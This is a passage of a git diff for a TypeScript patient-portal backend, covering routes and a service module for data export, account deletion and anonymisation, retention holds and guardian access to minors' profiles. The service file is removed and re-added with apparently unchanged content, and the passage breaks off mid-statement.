+patientsRouter.post('/me/export', authenticate, requireRole('patient'), patientsController.requestExport); +patientsRouter.get('/me/export/:exportId', authenticate, requireRole('patient'), patientsController.getExport); +patientsRouter.get( + '/me/export/:exportId/download', + authenticate, + requireRole('patient'), + patientsController.downloadExport, +); +// Account deletion (Phase 8, issue #41, docs/adr/0010). Self-only β€” the +// account is the authenticated caller, never a path or body parameter. +// Deliberately not behind requireVerifiedEmail: an unverified account must +// still be deletable. +patientsRouter.delete('/me', authenticate, requireRole('patient'), patientsController.deleteMe); + +// Guardians and dependents (Phase 8, issue #42, docs/adr/0011). Patients +// only; creating a dependent needs a verified address, the same bar as +// booking for them. +patientsRouter.post( + '/me/dependents', + authenticate, + requireRole('patient'), + requireVerifiedEmail, + patientsController.createDependent, +); +patientsRouter.get('/me/dependents', authenticate, requireRole('patient'), patientsController.listDependents); diff --git a/backend/src/modules/patients/services/index.ts b/backend/src/modules/patients/services/index.ts index 2d5b9846..1f4710f8 100644 --- a/backend/src/modules/patients/services/index.ts +++ b/backend/src/modules/patients/services/index.ts @@ -1,549 +1,549 @@ -import { Prisma } from '@prisma/client'; -import { prisma } from '../../../db/prisma-client'; -import type { PatientProfile } from '@prisma/client'; -import { config } from '../../../config'; -import { HttpError } from '../../../http-error'; -import * as patientsRepo from '../repositories'; -import { ChunkWriter, EXPORT_SCHEMA_VERSION, ExportSectionError, writeExportBundle } from './export-bundle'; -import { listExportSections, type PatientExportSection } from './export-registry'; -import type { PatientExport, PatientExportStatus } from '@prisma/client'; -import * as authService from '../../auth/services'; - -// The registry is part of this module's service surface: other modules -// import `PatientExportSection`/`paginate` from here to build their section, -// and src/export-sections.ts registers them. -export { - paginate, - registerExportSection, - unregisterExportSection, - listExportSections, -} from './export-registry'; -export type { ExportSubject, PatientExportSection } from './export-registry'; -export { EXPORT_FORMAT, EXPORT_SCHEMA_VERSION } from './export-bundle'; -import { isMinor } from './majority'; - -export { isMinor, majorityDate } from './majority'; - -export async function getMyPatientProfile(userId: string) { - const profile = await patientsRepo.findPatientProfileByUserId(userId); - // An anonymised profile (issue #41) belongs to a deleted account: every - // patient route resolves the caller through here, so a still-valid access - // token stops reaching booking, listing, etc. the moment the account is - // deleted. - if (!profile || profile.anonymizedAt) throw new HttpError(404, 'No patient profile for this account.'); - return profile; -} - -/** This module's own export section: the profile itself. A single item. */ -export const profileExportSection: PatientExportSection = { - name: 'profile', - version: 1, - async *pages(subject) { - const profile = await patientsRepo.findPatientProfileByUserId(subject.userId); - if (!profile || profile.id !== subject.patientProfileId) return; - yield [ - { - id: profile.id, - fullName: profile.fullName, - dateOfBirth: profile.dateOfBirth, - createdAt: profile.createdAt, - updatedAt: profile.updatedAt, - }, - ]; - }, -}; - -// --- Patient data export (Phase 8, issue #40) ---------------------------- - -export interface PatientExportView { - id: string; - status: PatientExportStatus; - schemaVersion: number | null; - createdAt: Date; - startedAt: Date | null; - generatedAt: Date | null; - expiresAt: Date | null; - sizeBytes: number | null; - failure: { code: string; section: string | null } | null; - downloadUrl: string | null; -} - -/** A `ready` export whose deadline has passed is reported (and treated) as - * expired immediately β€” the cleanup job only catches up on the storage. */ -function effectiveStatus(record: PatientExport, now: Date): PatientExportStatus { - if (record.status === 'ready' && (!record.expiresAt || record.expiresAt.getTime() <= now.getTime())) { - return 'expired'; - } - return record.status; -} - -function toView(record: PatientExport, now = new Date()): PatientExportView { - const status = effectiveStatus(record, now); - return { - id: record.id, - status, - schemaVersion: record.schemaVersion, - createdAt: record.createdAt, - startedAt: record.startedAt, - generatedAt: record.generatedAt, - expiresAt: record.expiresAt, - sizeBytes: status === 'ready' ? record.sizeBytes : null, - failure: record.failureCode ? { code: record.failureCode, section: record.failedSection } : null, - downloadUrl: status === 'ready' ? `/patients/me/export/${record.id}/download` : null, - }; -} - -type ExportRequestedListener = () => void; -let exportRequestedListener: ExportRequestedListener | null = null; - -/** src/jobs registers here so a new request starts generating at once - * instead of waiting for the next interval tick. Unset in tests, which - * drive the worker explicitly. */ -export function onExportRequested(listener: ExportRequestedListener | null): void { - exportRequestedListener = listener; -} - -/** - * Starts (or returns the already-running) export for the caller's own - * profile. The subject is always derived from the authenticated user β€” - * there is deliberately no way to name another patient here. - */ -export async function requestMyExport(userId: string): Promise<{ export: PatientExportView; created: boolean }> { - const profile = await getMyPatientProfile(userId); - const { record, created } = await patientsRepo.findInFlightOrCreateExport(profile.id); - if (created) exportRequestedListener?.(); - return { export: toView(record), created }; -} - -async function findMyExport(userId: string, exportId: string): Promise { - const profile = await getMyPatientProfile(userId); - const record = await patientsRepo.findExportForPatient(exportId, profile.id); - // 404, not 403, for someone else's id: don't confirm it exists. - if (!record) throw new HttpError(404, 'Export not found.'); - return record; -} - -export async function getMyExport(userId: string, exportId: string): Promise { - return toView(await findMyExport(userId, exportId)); -} - -export interface ExportDownload { - filename: string; - sizeBytes: number; - /** Yields the stored chunks in order, one database read per chunk. Throws - * if the artifact disappears mid-stream (cleanup raced the download). */ - chunks(): AsyncGenerator; -} - -export async function openMyExportDownload(userId: string, exportId: string): Promise { - const record = await findMyExport(userId, exportId); - const status = effectiveStatus(record, new Date()); - if (status === 'expired') { - throw new HttpError(410, 'This export has expired. Request a new one.', 'EXPORT_EXPIRED'); - } - if (status !== 'ready' || record.chunkCount === null || record.sizeBytes === null) { - throw new HttpError(409, `This export is '${status}', not ready to download.`, 'EXPORT_NOT_READY'); - } - const { attempt, chunkCount } = record; - return { - filename: `docforum-export-${record.id}.json`, - sizeBytes: record.sizeBytes, - async *chunks() { - for (let seq = 0; seq < chunkCount; seq += 1) { - const chunk = await patientsRepo.findExportChunk(record.id, attempt, seq); - if (!chunk) throw new Error('EXPORT_ARTIFACT_MISSING'); - yield chunk.data; - } - }, - }; -} - -function exportTtlMs(): number { - return config.patientExport.ttlHours * 60 * 60 * 1000; -} - -/** - * Generates one claimed export. Sections run strictly one after another and - * page through their data, and the bundle is flushed to storage chunk by - * chunk, so memory is bounded by pageSize rows + one chunk regardless of how - * long the patient's history is. - */ -async function generateClaimedExport( - record: patientsRepo.ClaimedExport, - sections: PatientExportSection[], -): Promise { - const { id: exportId, attempt } = record; - const writer = new ChunkWriter( - { writeChunk: (seq, data) => patientsRepo.createExportChunk(exportId, attempt, seq, data).then(() => undefined) }, - config.patientExport.chunkBytes, - ); - const generatedAt = new Date(); - - try { - // The owning user is needed by account-level sections (auth module). - const owner = await patientsRepo.findPatientProfileOwner(record.patientProfileId); - // A dependent profile (issue #42) has no login, so it can never be the - // subject of `POST /patients/me/export`; refuse rather than export it - // without an account section. - if (!owner?.userId) throw new ExportSectionError('profile', new Error('profile missing')); - await writeExportBundle({ - exportId, - generatedAt, - subject: { patientProfileId: owner.id, userId: owner.userId }, - sections, - pageSize: config.patientExport.pageSize, - writer, - }); - } catch (err) { - const section = err instanceof ExportSectionError ? err.section : null; - // Log the error *type* only β€” a driver or section error message can - // echo the data it was handling. - const cause = err instanceof ExportSectionError ? err.cause : err; - // eslint-disable-next-line no-console - console.error( - `[jobs] patient export ${exportId} attempt ${attempt} failed${section ? ` in section "${section}"` : ''}: ${ - cause instanceof Error ? cause.name : typeof cause - }`, - ); - await patientsRepo.deleteExportChunks(exportId, attempt); - await patientsRepo.markExportFailed(exportId, attempt, { - failureCode: section ? 'SECTION_FAILED' : 'GENERATION_FAILED', - failedSection: section, - }); - return 'failed'; - } - - const published = await patientsRepo.markExportReady(exportId, attempt, { - generatedAt, - expiresAt: new Date(generatedAt.getTime() + exportTtlMs()), - sizeBytes: writer.totalBytes, - chunkCount: writer.chunkCount, - }); - if (!published) { - // Our claim was superseded (presumed dead and requeued). The newer - // attempt owns the export; drop what we wrote. - await patientsRepo.deleteExportChunks(exportId, attempt); - return 'processing'; - } - return 'ready'; -} - -/** Claims and generates one export by id. Returns the resulting status, or - * null if the job wasn't `pending` (someone else claimed it). Exposed for - * tests; production goes through `runExportWorker`. */ -export async function processExport( - exportId: string, - sections: PatientExportSection[] = listExportSections(), -): Promise { - const claimed = await patientsRepo.claimPendingExport(exportId, EXPORT_SCHEMA_VERSION, new Date()); - if (!claimed) return null; - return generateClaimedExport(claimed, sections); -} - -/** - * Requeues `processing` jobs whose claim is older than the stale timeout - * (the worker died mid-generation), or fails them once they've used up - * their attempts. Conditional on the attempt number, so a slow-but-alive - * worker that finishes first wins and is not undone. - */ -export async function recoverStaleExports(now = new Date()): Promise<{ requeued: number; failed: number }> { - const staleBefore = new Date(now.getTime() - config.patientExport.staleAfterSeconds * 1000); - const stale = await patientsRepo.findStaleProcessingExports(staleBefore, 100); - let requeued = 0; - let failed = 0; - for (const job of stale) { - if (job.attempt >= config.patientExport.maxAttempts) { - if (await patientsRepo.markExportFailed(job.id, job.attempt, { failureCode: 'GENERATION_TIMEOUT', failedSection: null })) { - failed += 1; - } - } else if (await patientsRepo.requeueStaleExport(job.id, job.attempt)) { - requeued += 1; - } - } - return { requeued, failed }; -} - -/** One worker pass: recover dead claims, then generate pending exports - * oldest-first, one at a time (never in parallel β€” generation is the - * expensive part, and a burst of requests must not multiply memory use). */ -export async function runExportWorker(maxJobs = 10): Promise<{ processed: number }> { - await recoverStaleExports(); - let processed = 0; - for (const exportId of await patientsRepo.findOldestPendingExportIds(maxJobs)) { - if ((await processExport(exportId)) !== null) processed += 1; - } - return { processed }; -} - -/** Cleanup pass: expire `ready` exports past their deadline (deleting their - * artifact), then sweep chunks that can never be served. Only this module's - * export rows are touched. */ -export async function expireExports(now = new Date()): Promise<{ expired: number; orphanChunksDeleted: number }> { - let expired = 0; - for (;;) { - const ids = await patientsRepo.findExpiredReadyExportIds(now, 100); - if (ids.length === 0) break; - let progressed = 0; - for (const id of ids) { - if (await patientsRepo.expireExport(id, now)) progressed += 1; - } - expired += progressed; - if (ids.length < 100 || progressed === 0) break; - } - const orphanChunksDeleted = await patientsRepo.deleteUnservableExportChunks(); - return { expired, orphanChunksDeleted }; -} - -export async function getPatientProfileById(id: string) { - const profile = await patientsRepo.findPatientProfileById(id); - if (!profile) throw new HttpError(404, 'Patient profile not found.'); - return profile; -} - -// --- Account deletion (Phase 8, issue #41, docs/adr/0010) ---------------- - -/** - * `DELETE /patients/me`. Anonymises the caller's identity (auth module: - * User row; this module: PatientProfile) in one transaction and keeps every - * clinical, order and payment record, per ADR 0010's retention table. - * - * Idempotent: an already-deleted account returns `alreadyDeleted: true` - * without checking the password (it no longer has a usable one) and without - * touching anything; two concurrent requests anonymise exactly once. - */ -export async function deleteMyAccount( - userId: string, - password: string, - ip?: string | null, -): Promise<{ alreadyDeleted: boolean }> { - if (await authService.isAccountDeleted(userId)) return { alreadyDeleted: true }; - const profile = await getMyPatientProfile(userId); - - try { - await authService.confirmPassword(userId, password, ip); - } catch (err) { - // A concurrent deletion may have replaced the password between our two - // checks; that request already did the work, so this one is a no-op. - if (await authService.isAccountDeleted(userId)) return { alreadyDeleted: true }; - throw err; - } - - const unusablePasswordHash = await authService.createUnusablePasswordHash(); - const deletedAt = new Date(); - const anonymized = await prisma.$transaction(async (tx) => { - if (!(await authService.anonymizeAccount(tx, userId, { unusablePasswordHash, deletedAt }))) return false; - await patientsRepo.anonymizeProfile(tx, profile.id, deletedAt); - await patientsRepo.deleteExportsForPatient(tx, profile.id); - await patientsRepo.revokeGuardianshipsOfGuardian(tx, userId, deletedAt); - return true; - }); - return { alreadyDeleted: !anonymized }; -} - -/** A module that keeps records about a patient which must survive account - * deletion (ADR 0010). The purge never removes a profile any hold reports - * true for. Registered in src/retention-holds.ts. */ -export interface RetentionHold { - name: string; - holds(patientProfileId: string): Promise; -} - -const retentionHolds = new Map(); - -export function registerRetentionHold(hold: RetentionHold): void { - const existing = retentionHolds.get(hold.name); - if (existing && existing !== hold) throw new Error(`Retention hold "${hold.name}" is already registered.`); - retentionHolds.set(hold.name, hold); -} - -export function listRetentionHolds(): RetentionHold[] { - return [...retentionHolds.values()]; -} - -/** - * True when a delete was refused by a foreign key that still references the - * row. Postgres reports `ON DELETE RESTRICT` as SQLSTATE 23001 - * (restrict_violation), which Prisma surfaces as an *unknown* request error - * rather than P2003 (P2003 is 23503, what NO ACTION raises) β€” so both shapes - * are checked. - */ -export function isForeignKeyRefusal(err: unknown): boolean { - if (err instanceof Prisma.PrismaClientKnownRequestError) return err.code === 'P2003'; - if (err instanceof Prisma.PrismaClientUnknownRequestError) { - return /23001|violates RESTRICT setting of foreign key constraint/.test(err.message); - } - return false; -} - -export interface PurgeResult { - purged: number; - held: number; - failed: number; -} - -/** - * Scheduled purge (ADR 0010): hard-deletes tombstones only β€” anonymised - * patients with no retained records, once the grace period has passed. - * Clinical, order and payment records are never deleted (their retention - * period is an open decision). Race-safe: holds are checked first and the - * RESTRICT foreign keys backstop the delete, so a record created in between - * makes that one delete fail and the account is simply kept. Re-running is a - * no-op for everything already purged. - */ -export async function purgeDeletedPatientAccounts(now = new Date()): Promise { - const anonymizedBefore = new Date(now.getTime() - config.accountPurge.graceHours * 60 * 60 * 1000); - const holds = listRetentionHolds(); - if (holds.length === 0) { - // Fail closed: with no holds registered (a wiring bug) everything would - // look purgeable. The RESTRICT FKs would still stop it, but don't try. - throw new Error('No retention holds registered β€” refusing to purge.'); - } - - const result: PurgeResult = { purged: 0, held: 0, failed: 0 }; - let cursor: string | undefined; - for (;;) { - const page = await patientsRepo.findAnonymizedProfilesPage(anonymizedBefore, cursor, 100); - if (page.length === 0) break; - cursor = page[page.length - 1]!.id; - - for (const profile of page) { - const held = await Promise.all(holds.map((hold) => hold.holds(profile.id))); - if (held.some(Boolean)) { - result.held += 1; - continue; - } - try { - await prisma.$transaction(async (tx) => { - if (!(await patientsRepo.deleteAnonymizedProfile(tx, profile.id))) return; - // Anonymised profiles always had a login (a dependent has none and - // can't delete itself), but the column is nullable since #42. - if (profile.userId) await authService.purgeAnonymizedAccount(tx, profile.userId); - }); - result.purged += 1; - } catch (err) { - if (isForeignKeyRefusal(err)) { - // A RESTRICT FK refused: a record exists that no hold reported yet. - result.held += 1; - } else { - result.failed += 1; - // eslint-disable-next-line no-console - console.error(`[jobs] account purge failed for one profile: ${err instanceof Error ? err.name : typeof err}`); - } - } - } - if (page.length < 100) break; - } - return result; -} - -// --- Guardians and dependents (Phase 8, issue #42, docs/adr/0011) -------- - -export interface DependentView { - id: string; - fullName: string; - dateOfBirth: Date; - guardianSince: Date; -} - -function isActive(guardianship: { revokedAt: Date | null; dependentProfile: PatientProfile }, now: Date): boolean { - const dob = guardianship.dependentProfile.dateOfBirth; - // A dependent always has a DOB (DB CHECK); treat a missing one as inactive - // rather than as "forever a minor". - return guardianship.revokedAt === null && dob !== null && isMinor(dob, config.patients.ageOfMajorityYears, now); -} - -function toDependentView(guardianship: { createdAt: Date; dependentProfile: PatientProfile }): DependentView { - const profile = guardianship.dependentProfile; - return { - id: profile.id, - fullName: profile.fullName, - dateOfBirth: profile.dateOfBirth!, - guardianSince: guardianship.createdAt, - }; -} - -/** - * Creates a new dependent profile owned by the caller (create-only β€” there - * is no way to link an existing profile or account; see ADR 0011). The - * dependent must be under the age of majority, with a DOB not in the - * future. - */ -export async function createMyDependent( - guardianUserId: string, - input: { fullName: string; dateOfBirth: Date }, - now = new Date(), -): Promise { - // The guardian must be a patient with their own profile (the route also - // requires the patient role). - await getMyPatientProfile(guardianUserId); - if (input.dateOfBirth.getTime() > now.getTime()) { - throw new HttpError(400, 'dateOfBirth cannot be in the future.'); - } - if (!isMinor(input.dateOfBirth, config.patients.ageOfMajorityYears, now)) { - throw new HttpError( - 400, - `A dependent must be under ${config.patients.ageOfMajorityYears}. An adult needs their own account.`, - 'DEPENDENT_NOT_A_MINOR', - ); - } - const { profile, guardianship } = await patientsRepo.createDependentWithGuardianship({ - guardianUserId, - fullName: input.fullName, - dateOfBirth: input.dateOfBirth, - }); - return toDependentView({ createdAt: guardianship.createdAt, dependentProfile: profile }); -} - -/** The caller's dependents they can currently act for: not revoked and still - * under the age of majority. Never anyone else's. */ -export async function listMyDependents(guardianUserId: string, now = new Date()): Promise { - await getMyPatientProfile(guardianUserId); // 404 for a deleted account (issue #41), like every patient route - const guardianships = await patientsRepo.findUnrevokedGuardianshipsForGuardian(guardianUserId); - return guardianships.filter((g) => isActive(g, now)).map(toDependentView); -} - -/** - * THE authorisation check for acting on a patient profile (booking, listing - * appointments β€” and every future dependent-scoped surface). Returns the - * profile the caller may act for: - * - no `patientProfileId`, or the caller's own profile id -> own profile; - * - an active dependent of the caller -> that dependent; - * - a dependent whose guardianship ended (revoked / reached majority) - * -> 403 GUARDIANSHIP_INACTIVE; - * - anything else -> 404, the same as a profile that doesn't exist (no - * enumeration of other patients or other guardians' dependents). - */ -export async function resolveActingProfile( - userId: string, - patientProfileId?: string, - now = new Date(), -): Promise { - const own = await patientsRepo.findPatientProfileByUserId(userId); - // A deleted account (issue #41) acts for no one β€” not for itself and not - // for its former dependents β€” even while its access token is still valid. - if (own?.anonymizedAt) throw new HttpError(404, 'No patient profile for this account.'); - if (!patientProfileId) { - if (!own) throw new HttpError(404, 'No patient profile for this account.'); - return own; - } - if (own && own.id === patientProfileId) return own; - - const guardianship = await patientsRepo.findGuardianship(userId, patientProfileId); - if (!guardianship) throw new HttpError(404, 'Patient profile not found.'); - if (!isActive(guardianship, now)) { - throw new HttpError( - 403, - 'Your guardianship of this patient has ended, so you can no longer act for them.', - 'GUARDIANSHIP_INACTIVE', - ); - } - return guardianship.dependentProfile; -} - -/** Retention hold (issues #41/#42, docs/adr/0010 + 0011): a deleted - * guardian's tombstone stays while Guardianship rows name it β€” they are the - * record of who had access to a minor's profile, and the FK is RESTRICT. */ -export async function hasGuardianshipsAsGuardian(patientProfileId: string): Promise { - const profile = await patientsRepo.findPatientProfileById(patientProfileId); - return profile?.userId ? patientsRepo.guardianHasGuardianships(profile.userId) : false; -} +import { Prisma } from '@prisma/client'; +import { prisma } from '../../../db/prisma-client'; +import type { PatientProfile } from '@prisma/client'; +import { config } from '../../../config'; +import { HttpError } from '../../../http-error'; +import * as patientsRepo from '../repositories'; +import { ChunkWriter, EXPORT_SCHEMA_VERSION, ExportSectionError, writeExportBundle } from './export-bundle'; +import { listExportSections, type PatientExportSection } from './export-registry'; +import type { PatientExport, PatientExportStatus } from '@prisma/client'; +import * as authService from '../../auth/services'; + +// The registry is part of this module's service surface: other modules +// import `PatientExportSection`/`paginate` from here to build their section, +// and src/export-sections.ts registers them. +export { + paginate, + registerExportSection, + unregisterExportSection, + listExportSections, +} from './export-registry'; +export type { ExportSubject, PatientExportSection } from './export-registry'; +export { EXPORT_FORMAT, EXPORT_SCHEMA_VERSION } from './export-bundle'; +import { isMinor } from './majority'; + +export { isMinor, majorityDate } from './majority'; + +export async function getMyPatientProfile(userId: string) { + const profile = await patientsRepo.findPatientProfileByUserId(userId); + // An anonymised profile (issue #41) belongs to a deleted account: every + // patient route resolves the caller through here, so a still-valid access + // token stops reaching booking, listing, etc. the moment the account is + // deleted. + if (!profile || profile.anonymizedAt) throw new HttpError(404, 'No patient profile for this account.'); + return profile; +} + +/** This module's own export section: the profile itself. A single item. */ +export const profileExportSection: PatientExportSection = { + name: 'profile', + version: 1, + async *pages(subject) { + const profile = await patientsRepo.findPatientProfileByUserId(subject.userId); + if (!profile || profile.id !== subject.patientProfileId) return; + yield [ + { + id: profile.id, + fullName: profile.fullName, + dateOfBirth: profile.dateOfBirth, + createdAt: profile.createdAt, + updatedAt: profile.updatedAt, + }, + ]; + }, +}; + +// --- Patient data export (Phase 8, issue #40) ---------------------------- + +export interface PatientExportView { + id: string; + status: PatientExportStatus; + schemaVersion: number | null; + createdAt: Date; + startedAt: Date | null; + generatedAt: Date | null; + expiresAt: Date | null; + sizeBytes: number | null; + failure: { code: string; section: string | null } | null; + downloadUrl: string | null; +} + +/** A `ready` export whose deadline has passed is reported (and treated) as + * expired immediately β€” the cleanup job only catches up on the storage. */ +function effectiveStatus(record: PatientExport, now: Date): PatientExportStatus { + if (record.status === 'ready' && (!record.expiresAt || record.expiresAt.getTime() <= now.getTime())) { + return 'expired'; + } + return record.status; +} + +function toView(record: PatientExport, now = new Date()): PatientExportView { + const status = effectiveStatus(record, now); + return { + id: record.id, + status, + schemaVersion: record.schemaVersion, + createdAt: record.createdAt, + startedAt: record.startedAt, + generatedAt: record.generatedAt, + expiresAt: record.expiresAt, + sizeBytes: status === 'ready' ? record.sizeBytes : null, + failure: record.failureCode ? { code: record.failureCode, section: record.failedSection } : null, + downloadUrl: status === 'ready' ? `/patients/me/export/${record.id}/download` : null, + }; +} + +type ExportRequestedListener = () => void; +let exportRequestedListener: ExportRequestedListener | null = null; + +/** src/jobs registers here so a new request starts generating at once + * instead of waiting for the next interval tick. Unset in tests, which + * drive the worker explicitly. */ +export function onExportRequested(listener: ExportRequestedListener | null): void { + exportRequestedListener = listener; +} + +/** + * Starts (or returns the already-running) export for the caller's own + * profile. The subject is always derived from the authenticated user β€” + * there is deliberately no way to name another patient here. + */ +export async function requestMyExport(userId: string): Promise<{ export: PatientExportView; created: boolean }> { + const profile = await getMyPatientProfile(userId); + const { record, created } = await patientsRepo.findInFlightOrCreateExport(profile.id); + if (created) exportRequestedListener?.(); + return { export: toView(record), created }; +} + +async function findMyExport(userId: string, exportId: string): Promise { + const profile = await getMyPatientProfile(userId); + const record = await patientsRepo.findExportForPatient(exportId, profile.id); + // 404, not 403, for someone else's id: don't confirm it exists. + if (!record) throw new HttpError(404, 'Export not found.'); + return record; +} + +export async function getMyExport(userId: string, exportId: string): Promise { + return toView(await findMyExport(userId, exportId)); +} + +export interface ExportDownload { + filename: string; + sizeBytes: number; + /** Yields the stored chunks in order, one database read per chunk. Throws + * if the artifact disappears mid-stream (cleanup raced the download). */ + chunks(): AsyncGenerator; +} + +export async function openMyExportDownload(userId: string, exportId: string): Promise { + const record = await findMyExport(userId, exportId); + const status = effectiveStatus(record, new Date()); + if (status === 'expired') { + throw new HttpError(410, 'This export has expired. Request a new one.', 'EXPORT_EXPIRED'); + } + if (status !== 'ready' || record.chunkCount === null || record.sizeBytes === null) { + throw new HttpError(409, `This export is '${status}', not ready to download.`, 'EXPORT_NOT_READY'); + } + const { attempt, chunkCount } = record; + return { + filename: `docforum-export-${record.id}.json`, + sizeBytes: record.sizeBytes, + async *chunks() { + for (let seq = 0; seq < chunkCount; seq += 1) { + const chunk = await patientsRepo.findExportChunk(record.id, attempt, seq); + if (!chunk) throw new Error('EXPORT_ARTIFACT_MISSING'); + yield chunk.data; + } + }, + }; +} + +function exportTtlMs(): number { + return config.patientExport.ttlHours * 60 * 60 * 1000; +} + +/** + * Generates one claimed export. Sections run strictly one after another and + * page through their data, and the bundle is flushed to storage chunk by + * chunk, so memory is bounded by pageSize rows + one chunk regardless of how + * long the patient's history is. + */ +async function generateClaimedExport( + record: patientsRepo.ClaimedExport, + sections: PatientExportSection[], +): Promise { + const { id: exportId, attempt } = record; + const writer = new ChunkWriter( + { writeChunk: (seq, data) => patientsRepo.createExportChunk(exportId, attempt, seq, data).then(() => undefined) }, + config.patientExport.chunkBytes, + ); + const generatedAt = new Date(); + + try { + // The owning user is needed by account-level sections (auth module). + const owner = await patientsRepo.findPatientProfileOwner(record.patientProfileId); + // A dependent profile (issue #42) has no login, so it can never be the + // subject of `POST /patients/me/export`; refuse rather than export it + // without an account section. + if (!owner?.userId) throw new ExportSectionError('profile', new Error('profile missing')); + await writeExportBundle({ + exportId, + generatedAt, + subject: { patientProfileId: owner.id, userId: owner.userId }, + sections, + pageSize: config.patientExport.pageSize, + writer, + }); + } catch (err) { + const section = err instanceof ExportSectionError ? err.section : null; + // Log the error *type* only β€” a driver or section error message can + // echo the data it was handling. + const cause = err instanceof ExportSectionError ? err.cause : err; + // eslint-disable-next-line no-console + console.error( + `[jobs] patient export ${exportId} attempt ${attempt} failed${section ? ` in section "${section}"` : ''}: ${ + cause instanceof Error ? cause.name : typeof cause + }`, + ); + await patientsRepo.deleteExportChunks(exportId, attempt); + await patientsRepo.markExportFailed(exportId, attempt, { + failureCode: section ? 'SECTION_FAILED' : 'GENERATION_FAILED', + failedSection: section, + }); + return 'failed'; + } + + const published = await patientsRepo.markExportReady(exportId, attempt, { + generatedAt, + expiresAt: new Date(generatedAt.getTime() + exportTtlMs()), + sizeBytes: writer.totalBytes, + chunkCount: writer.chunkCount, + }); + if (!published) { + // Our claim was superseded (presumed dead and requeued). The newer + // attempt owns the export; drop what we wrote. + await patientsRepo.deleteExportChunks(exportId, attempt); + return 'processing'; + } + return 'ready'; +} + +/** Claims and generates one export by id. Returns the resulting status, or + * null if the job wasn't `pending` (someone else claimed it). Exposed for + * tests; production goes through `runExportWorker`. */ +export async function processExport( + exportId: string, + sections: PatientExportSection[] = listExportSections(), +): Promise { + const claimed = await patientsRepo.claimPendingExport(exportId, EXPORT_SCHEMA_VERSION, new Date()); + if (!claimed) return null; + return generateClaimedExport(claimed, sections); +} + +/** + * Requeues `processing` jobs whose claim is older than the stale timeout + * (the worker died mid-generation), or fails them once they've used up + * their attempts. Conditional on the attempt number, so a slow-but-alive + * worker that finishes first wins and is not undone. + */ +export async function recoverStaleExports(now = new Date()): Promise<{ requeued: number; failed: number }> { + const staleBefore = new Date(now.getTime() - config.patientExport.staleAfterSeconds * 1000); + const stale = await patientsRepo.findStaleProcessingExports(staleBefore, 100); + let requeued = 0; + let failed = 0; + for (const job of stale) { + if (job.attempt >= config.patientExport.maxAttempts) { + if (await patientsRepo.markExportFailed(job.id, job.attempt, { failureCode: 'GENERATION_TIMEOUT', failedSection: null })) { + failed += 1; + } + } else if (await patientsRepo.requeueStaleExport(job.id, job.attempt)) { + requeued += 1; + } + } + return { requeued, failed }; +} + +/** One worker pass: recover dead claims, then generate pending exports + * oldest-first, one at a time (never in parallel β€” generation is the + * expensive part, and a burst of requests must not multiply memory use). */ +export async function runExportWorker(maxJobs = 10): Promise<{ processed: number }> { + await recoverStaleExports(); + let processed = 0; + for (const exportId of await patientsRepo.findOldestPendingExportIds(maxJobs)) { + if ((await processExport(exportId)) !== null) processed += 1; + } + return { processed }; +} + +/** Cleanup pass: expire `ready` exports past their deadline (deleting their + * artifact), then sweep chunks that can never be served. Only this module's + * export rows are touched. */ +export async function expireExports(now = new Date()): Promise<{ expired: number; orphanChunksDeleted: number }> { + let expired = 0; + for (;;) { + const ids = await patientsRepo.findExpiredReadyExportIds(now, 100); + if (ids.length === 0) break; + let progressed = 0; + for (const id of ids) { + if (await patientsRepo.expireExport(id, now)) progressed += 1; + } + expired += progressed; + if (ids.length < 100 || progressed === 0) break; + } + const orphanChunksDeleted = await patientsRepo.deleteUnservableExportChunks(); + return { expired, orphanChunksDeleted }; +} + +export async function getPatientProfileById(id: string) { + const profile = await patientsRepo.findPatientProfileById(id); + if (!profile) throw new HttpError(404, 'Patient profile not found.'); + return profile; +} + +// --- Account deletion (Phase 8, issue #41, docs/adr/0010) ---------------- + +/** + * `DELETE /patients/me`. Anonymises the caller's identity (auth module: + * User row; this module: PatientProfile) in one transaction and keeps every + * clinical, order and payment record, per ADR 0010's retention table. + * + * Idempotent: an already-deleted account returns `alreadyDeleted: true` + * without checking the password (it no longer has a usable one) and without + * touching anything; two concurrent requests anonymise exactly once. + */ +export async function deleteMyAccount( + userId: string, + password: string, + ip?: string | null, +): Promise<{ alreadyDeleted: boolean }> { + if (await authService.isAccountDeleted(userId)) return { alreadyDeleted: true }; + const profile = await getMyPatientProfile(userId); + + try { + await authService.confirmPassword(userId, password, ip); + } catch (err) { + // A concurrent deletion may have replaced the password between our two + // checks; that request already did the work, so this one is a no-op. + if (await authService.isAccountDeleted(userId)) return { alreadyDeleted: true }; + throw err; + } + + const unusablePasswordHash = await authService.createUnusablePasswordHash(); + const deletedAt = new Date(); + const anonymized = await prisma.$transaction(async (tx) => { + if (!(await authService.anonymizeAccount(tx, userId, { unusablePasswordHash, deletedAt }))) return false; + await patientsRepo.anonymizeProfile(tx, profile.id, deletedAt); + await patientsRepo.deleteExportsForPatient(tx, profile.id); + await patientsRepo.revokeGuardianshipsOfGuardian(tx, userId, deletedAt); + return true; + }); + return { alreadyDeleted: !anonymized }; +} + +/** A module that keeps records about a patient which must survive account + * deletion (ADR 0010). The purge never removes a profile any hold reports + * true for. Registered in src/retention-holds.ts. */ +export interface RetentionHold { + name: string; + holds(patientProfileId: string): Promise; +} + +const retentionHolds = new Map(); + +export function registerRetentionHold(hold: RetentionHold): void { + const existing = retentionHolds.get(hold.name); + if (existing && existing !== hold) throw new Error(`Retention hold "${hold.name}" is already registered.`); + retentionHolds.set(hold.name, hold); +} + +export function listRetentionHolds(): RetentionHold[] { + return [...retentionHolds.values()]; +} + +/** + * True when a delete was refused by a foreign key that still references the + * row. Postgres reports `ON DELETE RESTRICT` as SQLSTATE 23001 + * (restrict_violation), which Prisma surfaces as an *unknown* request error + * rather than P2003 (P2003 is 23503, what NO ACTION raises) β€” so both shapes + * are checked. + */ +export function isForeignKeyRefusal(err: unknown): boolean { + if (err instanceof Prisma.PrismaClientKnownRequestError) return err.code === 'P2003'; + if (err instanceof Prisma.PrismaClientUnknownRequestError) { + return /23001|violates RESTRICT setting of foreign key constraint/.test(err.message); + } + return false; +} + +export interface PurgeResult { + purged: number; + held: number; + failed: number; +} + +/** + * Scheduled purge (ADR 0010): hard-deletes tombstones only β€” anonymised + * patients with no retained records, once the grace period has passed. + * Clinical, order and payment records are never deleted (their retention + * period is an open decision). Race-safe: holds are checked first and the + * RESTRICT foreign keys backstop the delete, so a record created in between + * makes that one delete fail and the account is simply kept. Re-running is a + * no-op for everything already purged. + */ +export async function purgeDeletedPatientAccounts(now = new Date()): Promise { + const anonymizedBefore = new Date(now.getTime() - config.accountPurge.graceHours * 60 * 60 * 1000); + const holds = listRetentionHolds(); + if 